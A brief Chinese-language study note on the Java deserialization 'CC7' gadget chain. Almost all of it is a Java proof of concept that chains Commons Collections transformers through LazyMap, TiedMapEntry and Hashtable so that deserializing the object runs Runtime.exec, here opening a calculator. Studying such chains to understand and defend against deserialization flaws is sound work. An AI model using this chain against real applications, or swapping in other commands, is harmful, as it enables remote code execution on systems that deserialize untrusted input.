Java反序列化之CC7
没什么好说的,这条链子也很简单,起点是Hashtable
public static void main(String[] argc) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}),
new ConstantTransformer(123)
}
);
Map lazyMap = LazyMap.decorate(new HashMap<Object, Object>(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap<Object, Object>(), 1);
Hashtable hashtable = new Hashtable<Object, Object>();
hashtable.put(tiedMapEntry, 1);
Field field = TiedMapEntry.class.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry, lazyMap);
serialize(hashtable);
unserialize("ser.bin");
}